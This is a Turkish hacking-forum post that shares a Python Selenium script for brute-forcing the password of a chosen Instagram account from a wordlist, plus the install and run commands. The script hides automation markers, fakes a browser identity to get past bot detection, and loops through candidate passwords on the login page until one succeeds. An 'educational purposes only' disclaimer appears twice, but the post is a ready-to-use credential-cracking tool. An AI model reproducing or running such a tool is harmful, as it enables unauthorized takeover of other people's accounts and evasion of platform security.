selamın aleyküm arkadaşlar bugün size instagram brute force yapan bir araç tanıtacağım burp suite ile brute force denemeyin olmuyor bu kodu yaklaşık 1 ay önce yazdım yani güncel firefox tarayıcınız varsa genelde vardır bu kod çalışır
bu kodu kopyalayın ve o klasörün içine .py formatında atın
örnek bruteforce.py
KULLANIM: ilk önce Masaüstüne herhangi bir klasör oluşturun ismi fark etmez sonra içine wordlisti koyun
UYARI: HER DAĞITIMDA ÇALIŞMAYABİLİR AMA ÇOĞUNDA ÇALISIYOR
UYARI: BU KOD EĞİTİM AMAÇLIDIR YANLIŞ KULLANIMDAN YAZAR OLAN BEN VE THT PLATFORMU SORUMLU DEĞİLDİR
VİRÜSTOTAL:VirusTotal
BU KOD HERKESE AÇIKTIR İSTEYEN GİTHUBUNA EKLEYEBİLİR NORMALDE GİTHUBLA EKLİYCEKTİM GİTHUBLA İLGİLİ BİR TAKIM SORUNLAR OLDU KODU EN SON 1 AY ÖNCE DENEMİŞTİM ÇOK İYİ ÇALIŞIYORDU TİME SLEEPTEN HIZINI DEĞİŞTİREBİLİRSİNİZ HATASIZ OLSUN DİYE 10 YAPMIŞIMDIR DİİYUE DÜŞÜNÜYORUM
İYİ FORUMLAR SİZİ SEVİYORUM
Kod:
kod:
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.firefox.service import Service
from webdriver_manager.firefox import GeckoDriverManager
from selenium.webdriver.firefox.options import Options
# --- BOT ENGELİNİ AŞAN AYARLAR ---
options = Options()
# Otomasyon bayrağını gizle
options.set_preference("dom.webdriver.enabled", False)
options.set_preference('useAutomationExtension', False)
# Gerçekçi bir kimlik tanımla
options.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36")
driver = webdriver.Firefox(service=Service(GeckoDriverManager().install()), options=options)
# Selenium olduğunu gizleyen JavaScript komutu
driver.execute_script("Object.defineProperty(navigator, 'webdriver', {get: () => undefined})")
#buraya kullanıcı adı ve wordlist girin
def baslat():
kullanici_adi = ""
driver.get("Instagram")
print("\n[*] Sayfa yükleniyor, lütfen bekleyin...")
time.sleep(8) # Sayfanın tam oturması için uzun bekleme
try:
# Sadece isme değil, 'input' olan her şeye bakıyoruz
wait_count = 0
while wait_count < 10:
inputs = driver.find_elements(By.TAG_NAME, "input")
if len(inputs) >= 2:
print("[+] Giriş kutuları nihayet yakalandı!")
break
print("[?] Kutular aranıyor hala çerez falan çıkarsa kabul et")
time.sleep(3)
wait_count += 1
#buraya şifrer wordlisti
# Dosyayı oku ve dene
with open("", "r") as dosya:
for satir in dosya:
sifre = satir.strip()
if not sifre: continue
# Kutuları her döngüde taze yakala
all_inputs = driver.find_elements(By.TAG_NAME, "input")
# Genellikle 0. input kullanıcı adı, 1. input şifredir
u_field = all_inputs[0]
p_field = all_inputs[1]
print(f"[*] Deneniyor: {sifre}")
u_field.send_keys(Keys.CONTROL + "a", Keys.BACKSPACE)
u_field.send_keys(kullanici_adi)
p_field.send_keys(Keys.CONTROL + "a", Keys.BACKSPACE)
p_field.send_keys(sifre, Keys.ENTER)
time.sleep(10)
if "login" not in driver.current_url:
print(f" BAŞARILI Şifre: {sifre}")
return
except Exception as e:
print(f"Hata oluştu: {e}")
baslat()
bu kodu kopyalayın ve o klasörün içine .py formatında atın
örnek bruteforce.py
KULLANIM: ilk önce Masaüstüne herhangi bir klasör oluşturun ismi fark etmez sonra içine wordlisti koyun
Kod:
cd Masaüstü
cd koyduğun takma ad
sudo apt update
sudo apt install python3-venv #sanal ortamı yüklüoz
python3 -m venv env #sanal ortam oluşturma
source env/bin/activate #sanal ortamı aktive etme
pip install selenium webdriver-manager #selenium ve webdriver manager kurma
python3 koyduğunuz takma isim
UYARI: HER DAĞITIMDA ÇALIŞMAYABİLİR AMA ÇOĞUNDA ÇALISIYOR
UYARI: BU KOD EĞİTİM AMAÇLIDIR YANLIŞ KULLANIMDAN YAZAR OLAN BEN VE THT PLATFORMU SORUMLU DEĞİLDİR
VİRÜSTOTAL:VirusTotal
BU KOD HERKESE AÇIKTIR İSTEYEN GİTHUBUNA EKLEYEBİLİR NORMALDE GİTHUBLA EKLİYCEKTİM GİTHUBLA İLGİLİ BİR TAKIM SORUNLAR OLDU KODU EN SON 1 AY ÖNCE DENEMİŞTİM ÇOK İYİ ÇALIŞIYORDU TİME SLEEPTEN HIZINI DEĞİŞTİREBİLİRSİNİZ HATASIZ OLSUN DİYE 10 YAPMIŞIMDIR DİİYUE DÜŞÜNÜYORUM
İYİ FORUMLAR SİZİ SEVİYORUM
Son düzenleme:
